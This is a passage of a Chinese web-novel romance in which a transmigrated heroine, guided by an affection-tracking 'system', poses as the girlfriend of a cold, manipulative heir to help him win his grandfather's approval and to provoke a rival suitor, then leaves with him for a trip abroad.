韶景荻还没开口,他又说话了,一开口就是道歉,“对不起,阿荻,之前是我的错,是我说话不算话。我发誓再也不会出现这种情况了。如果你还是介意我、不想看见我的话,我可以暂时出国。” 韶景戈直接捏着文件,笑容依旧温和尔雅,只是目光有点冷,为了安蔓晕头转向、被耍成傻x的记忆,仍然清晰无比。 美丽无比,恶毒得惊人。 他不会再上当了。 韶景荻有点惊讶,摇了摇头,坐在他旁边,一肚子火渐渐泄了,有点沮丧,“我刚刚和她打了电话……我想通了。” “安蔓和任何人在一起,我都难受、不舒服,但是如果是你的话……我也不舒服。不过好像可以接受。” 韶景荻嘟囔道,“反正我们是双胞胎,喜欢同一个人不是很正常的吗。我刚才和她打电话她还说可以三O行。” 韶景戈蓦然抬头,“你答应了?” 韶景荻摇了摇头,又点了点头,“我说我考虑一下。” 韶景戈脸色铁青,攥紧了纸,刚刚那种允许两个人在一起的念头瞬间没了。 安蔓就像是个病原体,只会带来糟糕、恶劣、混乱的影响,耍了他之后又想再回头戏耍韶景荻,她最好的归宿就是那套山间的别墅!. 安蔓打完电话,看了一眼好感,情不自禁又笑起来。 哈哈哈哈哈哈哈哈哈! 攻略人物只剩下双生子中的哥哥,和崔英朗,胜利就在眼前。 她弯着嘴角,心情快乐,笑容满面,很好说话,“对了,慕少爷,你想让我帮你做什么来着?” 慕玉 泽抬起头,看了她一眼,安蔓开心的时候嘴角会微微翘起,瞳色又深又黑,在光线下微微发亮,绚丽夺目,耀眼非凡。 她穿着裸色的长裙,抿着嘴角,轻轻笑起来,乌黑顺滑的发丝如水流一样,露出佩戴的项链,手环,耳坠,珠光宝气,却压不过一身雪白肤色。 慕玉泽能够辨认出她长的漂亮,第一次见到她,就是她骑在崔英朗的大腿上,白衬衫,黑丝,包臀裙卡在大腿上,有种肉.欲的色气。 被发现了,也不慌张,反而笑脸盈盈,羞耻感极低。 哪怕刚刚当着他的面对人家的弟弟,又是哄又是劝,诱导对方同意三批,电话一挂立刻像没事人一样。 慕玉泽对安蔓的认知加深了一层,美丽、自我、放.荡、没有廉耻心,说这种话都不避人。 不过,他正好需要这种人。 慕玉泽是慕家老家主养大的,从小按照继承人的标准培养,花费了无数心血时间,最后的成果也很让他骄傲,慕玉泽身材好,长相佳,外表令人赏心悦目,成绩从未下过A,十八岁之后就没花过家里一分钱,还曾独自环球旅行,简直是凝聚慕家优秀的基因的优才。最后甚至曾越过了父亲母亲,直接在理事会上当面制定他为继承人, 唯一让老家主担心的,是慕玉泽本身,这个长孙外表漂亮,实际内心扭曲,极度缺乏共情,睚眦必报,以观察和操控他人情绪波动为乐。 老家主经常担心在监狱见到慕玉泽,又担心他即使做了坏事又能完美逃脱,索性下达了命令,让他找到终身伴侣后再谈继承家业,希望慕玉泽的伴侣能够成为拴住疯狗的绳索。 慕玉泽曾经想过找人假扮女朋友,但是一直找不到合适的人选,爷爷的疑心很强,不好骗。 慕玉泽将车停入车库,蓝眼含笑,眼神带着一丝恰到好处的羞涩,给出手机,“安小姐,我想邀请你,暂时假扮我的女朋友。这是我的诚意。” 他很难找到这么合适的人选,希望对方尽可能的配合,剩下“说服”的功夫。 安蔓好奇,接过他的手机,打开一看,上面是德川论坛的一个帖子。 【公投怎么这么快就结束了,结果毫无悬念……我以为那几个有投票权的少爷们人会搞个大的!】- [据我所知,那群人确实是想搞个大的,毕竟狩猎欲还没满足,在校花傍上权贵前,唯一还能狙击她的机会怎么可能放过?]- [校花这段时间一直不在学校可惜死那群人了吧,校花个人站的几张照片都盘包浆了,连黑粉都在哀嚎了。]- [是上面的哪位少爷出手了?公投就这么平稳落地了,好失望。]- [听说不止一位,慕少爷先提起倡议,最后好几位大少爷一起解决了,总不能让校花真被退学吧!]- [她真的很漂亮。]- [校花还来吗?] 慕玉泽嘴角弯弯,清纯漂亮,皮肤白皙,唇角一颗小痣显得十分性感,“你满意我的诚意吗?” 安蔓注视着他的脸,靠近了一点,答非所问,“你真好看。” 这个小坏种最大的优点,就是长得好看,十分符合她的审美。 慕玉泽一愣,有点意外,随后笑容更深了,“那你喜欢吗?” 安蔓嘴角弯弯,心情很好:“还行吧。” 她不用攻略对方,也不用费脑子,笑眯眯拉回正题,“你这样把我拉回去,他们会信我是你女朋友吗?” 慕玉泽注视她,点点头,“会。” 安蔓漂亮、出众,有一种原始的、近乎肉.体的吸引力。 她不光长的好看,还追求者众多,江赫,韶家那对兄弟,崔英朗都是她的追逐者。作为战利品十分够格。 慕玉泽:“安小姐,为了防止他们怀疑,我恳切邀请,你去我家住几天。” 安蔓追问:“几天?” 慕玉泽回答:“大约三到五天。” 安蔓再次确定他没有恋爱经验,哪有带女朋友回家不见家长,反而住几天就走的! 她又看了一眼,心情很好,看慕玉泽更加顺眼,送上门倒贴的清纯处男谁不喜欢? 安蔓笑脸盈盈:“没问题,慕少爷,如果我帮你的话,你可不可以也帮我两个忙呢?” 慕玉泽:“可以。” 安蔓讨价还价:“韶景戈这个人又装、又傲慢,之前绑架我,把我关在酒店里还对我很坏,能不能帮我气一气他。” 慕玉泽柔和:“好。还有吗?” 安蔓说出第二个条件:“我想离开首都。” 她一回想起,崔英朗几个人冲进酒店的场景,还心有余悸。 太可怕了,感觉会被撕碎。 慕玉泽依旧很好说话,“没问题。我们可以先在我家几天,然后出国度假。” 安蔓的学籍虽然在德川,但也不麻烦,如果她想彻底离开,慕玉泽可以帮忙办理转学。 如果不想,也可以休学一年。 唯一麻烦的是安蔓的追求者,但他们的势力大部分都在国内,不像慕家一样遍地开花。一旦出国,便鞭长莫及。 慕玉泽在心中冷漠地衡量了代价,安蔓的价值可以由那几位争夺的激烈程度来定义的。由此而来的麻烦,越多,越能证明她的身价昂贵。 安蔓的要求都被满足了,心情更好了,主动提出:“只住几天够吗?这么突然冒出来很可疑吧。” 慕玉泽声音温柔,拉开车门:“那怎么办呢。” 安蔓加个车,进入慕家声音软软:“听我的,我教你,第一步,情侣应该挽着手臂。” 慕玉泽站在原地,若有所思,“这样方便吗?” 安蔓笑眯眯地教他,挽着他的手臂,“情侣之间,最重要的是要有肢体接触。” 安蔓挽着慕玉泽的手臂,他看起来清纯、高挑,但身体上的肌肉紧实有力,不愧是模特。 这个倒贴货,虽然外表上很有欺骗性,但武力值不低,可以和崔英朗抗衡,爆发力十足。 反正是倒贴是的,不需要攻略,安蔓懒得博取他的好感,怎么舒服怎么来,跟着他进入慕家。 一进慕家,所有人都是一副闻风丧胆的状态,朝这里走来的佣人原地掉头,来不及掉头的只能立刻刹住脚步,弯下腰打招呼。 “少爷好。” 楼梯上,恰好迎面走来一个气质优雅的中年贵妇。她穿着淡绿色的丝绸长裙,钻石项链,珍珠耳坠,保养良好的脸上带着温柔的笑容,手里牵着一个小女孩。 慕母保养良好,岁月并没有在她脸上留下太多的痕迹,反而增添了柔软成熟的气质,典雅又温柔,看着小女孩的目光充满母爱。 但她一低头,看到两人时,立刻冷下脸,质问道,“她是谁!” 慕玉泽微笑,称呼:“母亲。” 然后转头说:“不用管,走吧,我带你去房间。” 慕母刚准备带女儿去散步,就见到这个极端冷血、恐怖的儿子,带着不知道哪里找到的女生饶过她上楼了。 她气质优雅随和、人人称道,唯独见到这个儿子的时候,压抑不住脾气,叫来管家,“陈叔,这人是谁?” 陈叔刚刚收拾好了房间,弯下腰回答道,“这位应该是少爷的女朋友,少爷让我将房间,安排在他卧室附近。” 慕母皱眉,保养良好的脸上是遮掩不住的憎恶:“陈叔,你去查查那女的是谁,慕玉泽怎么什么牛鬼蛇神都往家里带!” 慕母很生气,她不喜欢这个冷漠卑劣的孩子。这孩子从一生下来就天生的反社会人格,睚眦必报,对任何感知到的轻视、怠慢、侮辱都铭记于心,一一报复。 更重要的是,他在报复的过程中,既不生气也不愤,更像是进行一种必须完成的“程序”或“实验”,情感匮乏空洞到可怖。 她一度想要丢弃这个孩子,嘴巴却被慕家老爷子带回去一手抚养,取代他们成为了第一顺位继承人。 慕母嫌弃,“调查一下那女的是谁?” 陈叔点头,“是。” 慕玉泽的行踪没有遮掩,他带回来的女生在网甚至有不少照片,陈叔没过多久就把她身份调查出来。 陈叔解释了一下安蔓的身份:“……那位小姐失踪了很久,出现在酒店后,慕少爷就将她带走了,直接带了回来。” 慕母听完了来历,优雅成熟的脸上露出一丝反感,忍不住嫌弃,“这孩子回到慕家后,性格毫无好转,现在更是变成了畜生,怎么什么人都要?” 她年轻时也很美丽,追求者众多,最后被慕父抱得美人归,两个人只有彼此,还生下了两个孩子。 她的人生顺风顺水,唯一的缺陷,就是这个可怕冷血的畜生。现在他更是在外面。随便捡破烂、拉回来一个人就想当女朋友骗人。 慕母不仅为自己也为小女儿考虑,更嫌弃了,轻轻皱眉,岁月没有在她的脸上留下太多痕迹,依旧美丽,“陈叔,这孩子自甘堕落到了这种程度,我不能放任不管。” “那个女生的事,你想办法透露出去。” 第89章 第89章翻车了吗 89. 慕母让人家将情散播出去之后,又觉得不够保险,打了个电话给老家主,她亲自告状。 老家主现在住在老宅,不怎么出来,老宅占地面积广,四周风景却很好,很适合养生。 老家主平日就住在那里,只在重要的时刻到公司主持大局,更多的则是养养宠物、散散心,不理世事。 慕母一等电话接通,就立刻开口,将事情说了一遍,“爸,你管管这个孩子,他真是没救了!” 电话那头的声音笑呵呵的,“玉泽交到了女朋友,是好事。” 慕母忍不住阵阵的生气,这是女朋友的事情吗?明明是慕玉泽随便把乱七八糟的人往家里领。 如果那真是他的女朋友,说明他这个人不检点不自爱还很不挑食,什么东西都捡来吃。如果不是更说明了他心机深,为了欺骗爷爷,获得家业,不择手段! 电话那头的老头笑呵呵的,不以为意,“什么名声好不好,你年轻的时候不是也这样,身边围了一群男人,我女婿可是好不容易才把你抢到手的。年轻人就是喜欢竞争,女孩子风流一点也不是坏事。” 慕母生气,这两件事能一样吗,她丈夫可是入赘的:“你到底管不管!” 慕家老家主知道自己女儿的德性,不想管她,又被她说的心烦,加上心里确实好奇这件事情,最后还是答应了,“好,我去问玉泽。” 慕母气的半死:“爸,你怎么能只问问,应该去调查,去质问他到底打的什么主意!” 慕家老家主年纪大了,不想理是非,但这个女儿实在不懂事,他没了耐心,声音冷下来,警告道,“这件事你别管,说好了玉泽的事,已经交给我了。” 慕母心里不甘,但是又不敢纠缠,知道父亲已经失去了耐心,只好忍气吞声,“好。” 老家主挂了电话,虽然没有听女儿的去斥责自己的长孙,但是也实在好奇。 这个孙子生下来就是歪的,他这些年花了大功夫,将律法刻在他的脑子里,虽然没法把他的性格掰过来,但是至少让他稍稍知道一点规矩,不会轻易犯下大事。 虽然规定了让他找到伴侣,再倾权给他,但老家主对这孩子实在是没什么信心,他根本不知道什么叫喜欢,在感情方面,更多的是模仿。但是这孩子虽然冷血,对他实在算得上尊敬,他思来想去还是打了个电话。 慕玉泽接到了这通预料中的电话。他布局了这么久,故意带安蔓回来,就是为了借母亲之口,将这条消息传给爷爷。 慕玉泽将手机给安蔓,浅浅一笑,“安小姐,这是我希望你为我做的第二件事,接电话。” 安蔓在慕家普普通通的过了几天,什么事都没有发生,那是第一次接到对方任务。 她挑了挑眉,看着来电显示上的爷爷二字,点了接通,娇声娇气,“谁啊。” 对面一时间没有说话,像是被她的声音惊到了。 几分钟后,一个语气挺温和的老头的说话声,从对面传来,“我找慕玉泽。” 安蔓单手撑着下巴,随便找了个借口,“他不方便。” 电话:“麻烦你将电话交给他。” 安蔓轻轻一笑,声音柔柔和和,娇俏无比,“好的,只不过会可能要过一会。他不方便。” 电话:“没关系,等他方便了,你将手机转交给他,让他给我回个电话。” 安蔓翘着二郎腿,故意对慕玉泽眨了眨眼睛。 这几天在慕家的日子,过得不咸不淡,十分无聊,又不能出门,在这里又没什么事做,顶多就是吃吃美食,在庭院里逛逛。 慕家的庭院,虽然风景优美,花园里栽种着各色的草木,花房更是被打理的精致美丽,但是慕玉泽和他的父母,就如同原著里一样关系恶劣。 特别是慕母,她是艺术家,平日里除了绘画和打理画展,就是带着小女儿四处游玩。安蔓在慕家经常碰见她,每次遇见都是鼻子不是鼻子脸不是脸的。 这位贵妇人看她和看儿子一样不顺眼,那种从鼻孔看人的感觉,让安蔓十分不爽,她不爽了,无处发泄,就只能回报在她儿子身上。 安蔓脑子一转,嘴角微翘,笑得有点坏,抬腿走到浴室边开了水,然后走出来关上门,靠在玻璃门上说,“好呀,不过应该要过一会儿。” 对面听到了水声:“……他现在在做什么。” 安蔓轻轻一哼,语调喑哑暧昧,拉长了声音,笑嘻嘻的,“他在洗澡,爷爷。如果你着急的话,我现在就找他。” 说罢,将手机凑近了玻璃门,让淋浴水声更清晰的透过话筒传到对面。 接着抬起一只手,用力敲击玻璃门,一边敲门,一边扬了声音,力求让声音清清楚楚被听筒收到,“玉泽!玉泽!你爷爷找你。” 慕玉泽目光闪了闪,靠近了几步,明白了她的意思,配合的出了声,“我在。” 安蔓看了一下手机,电话的那头没有挂断也没有说话。只是诡异的沉默着。 她握着手机,重重的打开了玻璃门,水声一瞬间更加清晰。 在电话那头听起来,就像是洗澡的人,打开了门,关上水龙头,走了出来。 慕玉泽十分识趣,都到这一步了,他不会让安蔓唱独角戏,主动靠近了一点,开口说,“怎么了,蔓蔓。” “啊!你怎么不穿浴巾!”安蔓惊呼,松开手让手机掉在地上,然后趁机按了挂断。 她演完了一场戏,忍不住笑了起来,心情特别好,眨了眨眼,“怎么样。” 慕玉泽捡起手机,看着电话,语调为难,“效果特别好。”虽然代价是声名扫地。 他过了一会儿又打过去电话,恭恭敬敬,“爷爷。” 对面似乎说了什么,他抬起脚步,往另一边走,安蔓听不清电话里的声音,只能听见慕玉泽的回应,“是、是,我知道了。母亲不懂事,我会让着她的。” 安蔓站在旁边,单手支着下巴,翘着二郎腿,注视着他的背影。 一会儿之后,对方打完了电话走回来,握着手机,低头打量她。 慕玉泽也发现了她最近不太开心,也察觉她不开心的根源,那张纯情漂亮的脸蛋注视了她一会儿,蓝眼睛没有情绪的,盯着他的脸微微转动。 他在冷漠地观察,欣赏她的情绪。慕玉泽情感匮乏,非常好奇她这种喜怒无常、变脸极快的人。“开心了吗?” 安蔓点头,“还行。” 慕玉泽声音柔情似水安慰,“没关系,不要在意我家里的贱人,我订了飞机,明天上午我们出国度假。” 安蔓心情愉快了一点,她留在首都,总感觉危机四伏,随时会被发现,“好。” 慕玉泽叮嘱:“现在你可以考虑一下,有什么想去的地方,或者有什么想要的东西。告诉我,我去给你买。也可以收拾一下行李,准备明天出发。” 安蔓看着他的眼神非常柔和,“好。” 她情不自禁的感叹:“这么多攻略对象,可算是遇到了一个活菩萨了。” 系统冒出来呵呵:“你别忘了反派在原著里可是坏种,他没有感情的,他的好都是装的!” 安蔓不以为然,在房间里转悠了一圈,思考要带去什么东西,最后通通放弃,不管是什么东西都可以出国了再买:“我知道啊,那又怎么样?论迹不论心,对我好就够了。” 系统忍不住泼她冷水,“他这么配合,都是因为他有利可图。你和他一起去度假,那你们的情侣身份就坐实了,他不就更能继承家业了。” 安蔓呵呵一笑:“那又怎么了?我知道啊,我接受。” 安蔓目前的攻略进度已经过半,她开始考虑攻略后的生活了。 上辈子她没有什么可以留恋的地方,既没有父母亲人,也没有巨额资产,整个人还病怏怏的。与其回去,还不如留在这个世界,既然要留下就必须找好下家。 慕玉泽无疑是那种好的选择。 他家境优渥,清纯好骗,大胸甜心,虽然看起来傻白甜,实际上是一个反社会人格,但是他出手大方,在假装他女朋友的这段时间里,安蔓可以趁机狠狠地捞一笔,赚够生活费。 她的目的,现在和对方都是吻合的。 安蔓要求出去度假,和慕玉泽一起,正好可以被解释为情侣出国旅游。 等崔英朗消气了之后,再回到的德川,完成剩下的攻略进度。 如果情况好的话,她可以在这几个男人中选择一个合适的,暂时交往看看。 如果情况不好、这些男人控制不住的话,安蔓攻略完,立刻拍拍屁股跑路。反正对她来说稳赚不赔。 而且,就目前而言,慕玉泽也不是不能用。 安蔓收拾了行李,兜兜转转在房间里转了一圈,最后空着一双手走到隔壁房间。 她笑眯眯地,语气撒娇,“玉泽,我帮了你两个忙,你现在是不是也要回馈给我了。” 慕玉泽:“什么。” 安蔓轻轻咬了咬嘴唇,表情有点为难,“你之前说过帮我气韶景戈的,还算不算数?如果算数的话,在离开前,我想请你帮我实现这个愿望。” 慕玉泽很没脾气,几乎百依百顺,“好。” 他拿出手机,拨通了视频电话,几分钟后,屏幕那边露出韶景戈的脸。 韶景戈衣冠楚楚,看起来有点疲惫,揉了揉额头,语气很低,仍然优雅,“慕玉泽,有什么事吗?” 慕玉泽寒暄:“你弟弟呢。” 韶景戈有点头晕,按了按太阳穴,温声道,“他没事,前几天感冒了,现在好了。” 他这几天没有见弟弟,实在是因为对方的提议太过荒谬了。 安蔓不知道怎么给他弟弟洗了脑。 韶景荻一开始对安蔓的占有欲很强,就像是对待自己的玩具,他有时也会忍不住先霸占,舍不得给人。 对待的玩具也是如此,更何况是人。 他弟弟一开始,得知他和安蔓睡了之后,几乎是埋怨、憎恶他的。那点情绪很短暂,但是非常鲜明。 这是两个人自出生以来的良好关系里的第一道裂缝。两个父母衣服亲人朋友都共享的兄弟,最后为了情人吵架! 吵架也就算了,韶景荻生气了一会儿,和安蔓打了个电话,居然改变了主意。 虽然还对他们两个发生关系生气,但是反而破罐子破摔,觉得与其和江赫、崔英朗争夺,不如和他之间一起……什么烂主意! 韶景戈有点疲惫,放下手,“你找他有事吗?” 慕玉泽想起前几天,在车上听到的那个电话,眼睛微微弯着,雪白的脸颊上露出了一个小小的笑容,铺垫了一会,“你们是在找那位校花小姐吗?” 韶景戈嗯了一声,“他们可已经开始调路政的监控了。” 他不想让安蔓回来,甚至觉得这人这样消失就挺好了,和那天的记忆一起消失。 但是他弟弟和那几个人简直像是着了魔。 慕玉泽继续铺垫,“你也在找吗?” 韶景戈:“我弟弟在找。” 慕玉泽问:“你找到之后,打算把她怎么样?” 韶景戈眼神露出一点厌恶:“送走,关起来。” 慕玉泽拉过安蔓:“那你不用找了,她在我身边。” 安蔓亲密地握住慕玉泽的手,歪着头闯入镜头,笑眯眯地,“你好啊,哥哥,几天不见。” 韶景戈目光冷凝,目光阴沉,几乎维持不住脸上那层优雅的面具。 几乎瞬间,表情沉了下来。 安蔓忍不住又笑起来,她捧腹大笑,“哈哈哈哈哈哈哈哈!” 她笑得越灿烂越明媚,笑声越大,就越让韶景戈回忆起了那天的耻辱,都被耍的团团转的记忆。 两个人亲密结合,水乳交融,他顶着弟弟的身份,酸涩地捧上真心,最后被耍的晕头转向! 韶景戈笑容温和优雅,声音像是从牙缝里挤出来的,“安蔓小姐,很好笑吗?” 安蔓眨了眨眼,楚楚可怜,依偎在慕玉泽身边,“不要生气嘛,哥哥你现在吓到我了,你之前不是那么冷漠的,你明明以前对我很好的,哈哈哈哈哈!” 韶景戈脸色发青,目光暗了下来,“你怎么在这。” 安蔓轻轻笑了一下,她真的超级记仇,上一次见证了对方难看至极的脸,悄悄爽了很久。 隔了这么几天,终于第二次见证,简直回味无穷,完全抵消之前不高兴的回忆。 她很高兴将韶景戈优雅的面具踩在脚下,声音软绵绵的,歪了歪头靠在慕玉泽的肩膀上,手臂捏着他衬衫下紧实鼓胀的肌肉,“因为我们在一起了呀,哥哥。” 韶景戈目露憎恶,“是这样的吗?慕玉泽。” 慕玉泽平静:“是的。” 他反正无所谓,事情闹得越大越好,越大了越说明这件事的可信度为真,越能取信爷爷。 韶景戈盯着屏幕,脸色难看,眉间却渐渐松了松,“我不相信。” 安蔓不满:“为什么不信!” 韶景戈说:“你们没有时间勾搭上。” 安蔓轻哼:“一见钟情,懂不懂。不信是吧。” 她回过头,向慕玉泽伸出手,嗲嗲开口,“玉泽。” 慕玉泽低头,眉间跳了跳,他虽然说了和安蔓假扮情侣,但是没想过真和她发生关系。 她现在仰着头,黑发雪肤,眉眼清丽,脸颊却放着淡淡的嫩粉,轻咬唇齿,鲜红的舌尖从白齿中探了出来,有种令人晕眩的色泽感。 皮肤饱满清透,脸颊本来发白,没有什么血色,偏偏又今天又穿着白裙,让她整个人在灯光下有一种令人眩晕的纯洁感。 安蔓眼睛轻轻眨了眨,卷翘漆黑的睫毛微微颤抖,轻搂着慕玉泽的脖子,对着屏幕故意撒娇,“玉泽。” 虽然没打算攻 略对方,但是这人的脸实在是符合她的菜。 金发蓝眼,纯洁无瑕,清纯漂亮的脸蛋下,却是一颗扭曲黑暗的心,而且肌肉还很强壮。 对方蓝眼睛颤动一下,盯了过来,略带玩味,又像只是单纯的打量,“我在。” 安蔓亲昵地靠了上去,搂着他的脖子,打定主意要是这人露出一丝抗拒就立刻推开,省得被韶景戈看出破绽。 安蔓没察觉到反感,嫣红的唇尖凑了上去,在他的嘴角轻轻碰了碰。 慕玉泽的手指按住了她的腰,不知为何轻轻抖了一下。 她停留了几秒,觉得证明给韶景戈应该是够了,虽然慕玉泽没有反感,但她也没打算停留太久,刚准备抬起身,突然放在腰上的手轻轻一按,慕玉泽突然吻了下来,“唔!” 他的脸色既不激动也不脸红,甚至还睁着眼,乌蓝的眼珠从头到脚将她扫了一遍,没有放过一丝呜咽一丝颤抖,冷静逼人。 他的吻技很差,只会吮吸和啃噬,舌尖却勾得很深,含着安蔓的唇瓣吸吮。 安蔓呜咽几声,搂着他的脖子被亲到身体微微发抖,她还记得视频开着,刺激的要命! 慕玉泽终于松开手时,她脸彻底红了,嘴唇微微肿起,舌尖也有点麻,拍了拍他的肩膀,娇气埋怨道,“怎么没完没了!” 她赶紧看视频,真担心这么一通激情热吻,韶景戈会将她好感值拉到负数,结果打开系统一看,这人的好感仍然在反复横跳,只是跳的更激烈了,视频也不知道什么时候被挂断了。 慕玉泽用手背蹭了蹭嘴唇,一言不发,忽然道,“为什么亲我。” 安蔓舌头发麻了都没有抱怨,看他这一副贞洁烈男的姿态,没好气道,“这不是演给他看吗,气人用的。你没接过吻吗?” 慕玉泽:“没有。” 他心底的感觉有些怪异,像是排斥又像是兴奋,有种血液一下子燃烧起来的感觉。原本的玩味慢慢褪去,心口猛跳,却又不像是喜欢。 他一直知道这句不算正常,情感匮乏、冷血,甚至有轻微的施虐欲。 这种兴奋对人来说不算好事。 安蔓却毫无自觉,脸上扬起一个灿烂的笑容,还是穿着那身雪白的裙子,只是面容娇艳,如同盛开的海棠,花瓣鲜红,娇艳欲滴。 她笑容灿烂,扬起嘴角,“那你讨厌吗?” 慕玉泽摇头:“不讨厌。” 安蔓:“那你喜欢吗?” 慕玉泽:“还行。” 安蔓循循善诱,“既然不讨厌不喜欢,那我们就要多加练习。我教你,要让别人相信我们是情侣,不能口头说说。不然就像是刚才韶景戈那样,很容易被认出来……所以我们要多加实践,懂吗?” 慕玉泽乌蓝的眼睛直勾勾地盯着她,有些惊奇,又有些古怪,“懂。” 安蔓觉得他的眼神,像是在看自己往陷阱里跳的兔子。 她内心不屑,到底谁是兔子还不知道呢。 慕玉泽的脸,非常合她胃口,反正玩一玩,对方又是个冷血怪物,没有感情,到时候分开轻而易举,就像丢垃圾一样。 安蔓歪头,“怎么了?” 慕玉泽跟着她摇头,心脏轻微的跳了跳,这点跳动让他又觉得怪异,“没事。” 安蔓扯开话题,声音柔柔软软,“对了,玉泽,刚刚韶景戈知道了我们的事,万一他告密了怎么办。” 慕玉泽摇头:“没关系。” 韶景戈现在巴不得安蔓有多远滚多远,省得污染他弟弟的世界。 安蔓担忧,捂着额头:“真的没事吗?我好害怕,我的心里好不安。” 慕玉泽沉吟一会,“你想提前离开慕家吗?” 安蔓:“当然!” 慕玉泽:“那我们可以提前去机场,反正我定的是私人飞机,提前半天报备就可以起飞,我们可以先去机场用餐。” 安蔓毫不犹豫答应了他的提议,“那就这样,拜托你了。”. 安蔓再次回来收拾行李,可惜转了一圈,最后也只拿了手机和充电器。 不知道是不是因为倒霉,她基本每次做坏事都要被抓住,运气又坏,遇到的人又难缠,凶巴巴的,甩都甩不掉。 慕玉泽叫了车,停在楼下,直达机场,安蔓拿着手机下了楼,正好又遇见慕母牵着小女儿躲在一边,透过落地窗居高临下的观察两人的身影。 慕母感觉气到发抖,手指过分用力,旁边被牵着的小女孩都忍不住发出痛呼,连连挣扎,而她无知无觉,目光只牢牢盯着两人。她没想到自己的一通告状,居然毫无后果,反而这两人过得滋润无比,还要去度假了! 安蔓故意对她露出一个挑衅的笑容,才上了车,委屈抱怨,“你妈妈好凶。” “抱歉,她偶尔会犯贱。”慕玉泽摇头,“你介意吗?” 安蔓微笑:“不介意。”反正她又没打算和慕玉泽结婚,玩玩而已,介意什么。 坐车开往机场的路上还有很长的一段距离,她索性拿起手机,查看近期的消息。 她一一查阅学校的消息,班级的信息,又逛了一会儿论坛,确定没有什么需要注意的地方,才鼓起勇气查看个人信息。 安蔓跳过崔英朗、江赫、韶家那对兄弟左上角99+未读信息,划到后面,找到栗纯的消息。 对方刚开始还在问候她,到后面没有得到回复,渐渐的不怎么发信息了。 安蔓心里有点不安,不知道为什么,她总是倒霉透顶,生怕路上又出什么事,[纯纯,你在吗?最近有发生什么事吗?] 栗纯瞬间回了三个感叹号:[!!!你终于回我消息了,我还以为你失踪了或者死了。] 安蔓撇了撇嘴,看到自己这么久没有回消息的份上,原谅了她的嘴贱,打听信息,[最近有没有发生什么事……关于那几位的。] 栗纯:[你是指哪方面的事,学校的近期大事,只有公投了。你的公投结束,档案正式落定,狩猎彻底结束——虽然对你来说好像结不结束没什么两样。] [毕竟哪个敢当着他们的面来狩猎你。] 安蔓追问:[还有吗?] 栗纯:[有。] 她扔出几个链接:《国际拳击比赛金牌蝉联选手,宣布退出今年比赛。》 《江氏集团董事长江桥达突然发中风,其子江赫代替父亲出席理事会》 安蔓点开第二个,是个正经新闻,不久前,江赫的父亲中风入院,躺在病床上,连话都说不了,最多只能移动手指。 江淮盛和江赫“兄弟联手”,江淮盛退出公司,负责照顾父亲。而江赫,则取代了父亲的位置,进入公司维持运转。 这是官方发布的新闻,字句简短,不管里面有多少风云起伏,最后落在明面上的只有这薄薄的几行字。 新闻还配了图片,江赫坐在发布会上,黑发绿眼,面容冷峻,西装革履下他眼神如冰,隔着屏幕都让人感觉到针扎一般的刺痛。 安蔓内心嘟囔,“这个破男人虽然冷冰冰的,确实很帅。” 虽然江赫前期是个烂人,但是攻略成功后,对她还不错,在江家那段时间,两个人胡天胡地了很久。 如果后期攻略完了,选择交往对象,倒不是不可以考虑他。 安蔓关掉新闻,闭了闭眼,深吸一口气。 最后拼命说服自己,鼓起勇气,才手指微颤,咬了咬牙,一鼓作气点开了崔英朗的新闻。 里面还有视频,点进去自动播放。 女主持笑容满面,拿着话筒说,“大家好,今天我们非常荣幸邀请到了崔英朗先生,感谢您接受我们的采访。” 女主持人先是问了崔英朗当前的状态和备战,职业生涯的动力和源泉、以及他对这项运动的兴趣来源等等老生常谈的问题,最后迎着观众的欢呼声,问到了关 键问题,“请问您为什么要退赛呢。” 崔英朗双手抱胸,向后靠在单人沙发上,侧脸英俊而锋利,金色的眼睛璀璨无比,当着摄像头的面他倒是很正常,摊了摊手,无奈道,“显然,原因很明显。” 所有人的目光,跟随着主持人一起,缓缓上升,落在了他后脑上夸张的伤疤上。纱布已经摘掉,蚯蚓型的疤痕在经过几月后彻底掉了,但后脑到侧脸处还有一道清晰狰狞肉色的缝合痕迹。 主持人举着话筒,身躯微微向前,目光热切,问出了所有人都好奇的问题,“崔先生,我代表您的粉丝团提问,听说您的这道伤疤是在英雄救美时落下的吗?” 崔英朗微微抬头,不置可否,发出了一声似笑似嘲的轻嗤,“算是吧。” 观众发出阵阵惊呼,主持人的眼中也露出了八卦,她按捺着好奇,继续提问,“你们是恋人吗?” “不是。” “那您英雄救美,落下这道伤疤,导致不得不退出今年的比赛,到现在有后悔吗?” 崔英朗沉默片刻,“不知道。” 主持人越问越尖锐,“您往年得金牌的时候都没有接受采访,偏偏今年退出比赛,反而接受了我们的邀请。请问这有什么特殊的原因吗?” 崔英朗抬起头,直视摄像头,他眼下青黑,眼中血丝,看起来睡眠不足,状态不好。 他从刚才开始一直心不在焉,直到听到这个问题,终于扬起了一丝兴趣。金色的如同漩涡一样的眼睛直视着摄像头,嘴角微微翘起,却毫无笑意,目光摄人。 崔英朗的声音很轻、很慢,带着一丝近乎古怪的阴沉,“……因为我希望某个人看到,我想告诉她,我是一个非常执着的人,在某些时候,非常、非常有耐心。” “你最好等着,因为你死定了!” “砰!”旁边的小车撞上路标,车头陷了进去一阵冒烟。 “啊!”安蔓吓得放下了手机。 慕玉泽向外看了一眼,转过头来安抚她,“没事,只是旁边的车出车祸了。没什么大事。” 司机点头赞同,“要是之前那段时间,到处都是暴乱,可能还需要一惊一乍。现在暴乱结束了,到处都安全的很。” 他将车开的很稳,看了一眼那辆撞到车标的小车,摇了摇头,大声嘲笑,“嘿,这司机技术也太差了,到底是哪里进修的。” 慕玉泽看安蔓面色不好:“别说话了,开车呢。” 司机:“好,马上到了。” 安蔓心头微悸,还没从刚才的阴影里回过神来,她狠狠的吓了一跳,还以为出了什么事。 没想到一切风平浪静,除了刚刚短暂的插曲之外,之后的一切顺利的要命,一路上畅通无阻,甚至没有遇到几个红灯,十分顺利的到达了机场。 司机将车停下,打开后备箱,提出一个小箱子。两个人都没有带什么行李,重要物品都在箱子里。 慕玉泽清点了一下,点头,“你可以回去了。” 接着转头,询问安蔓,“私人飞机起飞需要提前报备半天,现在还有点时间,要不要去吃饭?” 安蔓刚刚被吓到了,当然不会拒绝这场压惊,笑容满面,“好的。” 两个人选择了附近的一家高档餐厅,服务员端上美食。 安蔓心情不错,这段时间她一直没法出门,马上就要坐飞机跑了,心中除去刚才的阴影,她微微翘起嘴角,注视慕玉泽的眼神很柔和,“玉泽,要不要拍张照?” 慕玉泽心口又跳了跳,莫名其妙,“为什么。” 安蔓微微斜了他一眼,“不是说要慢慢熟悉亲密举动吗?” 慕玉泽:“好。” 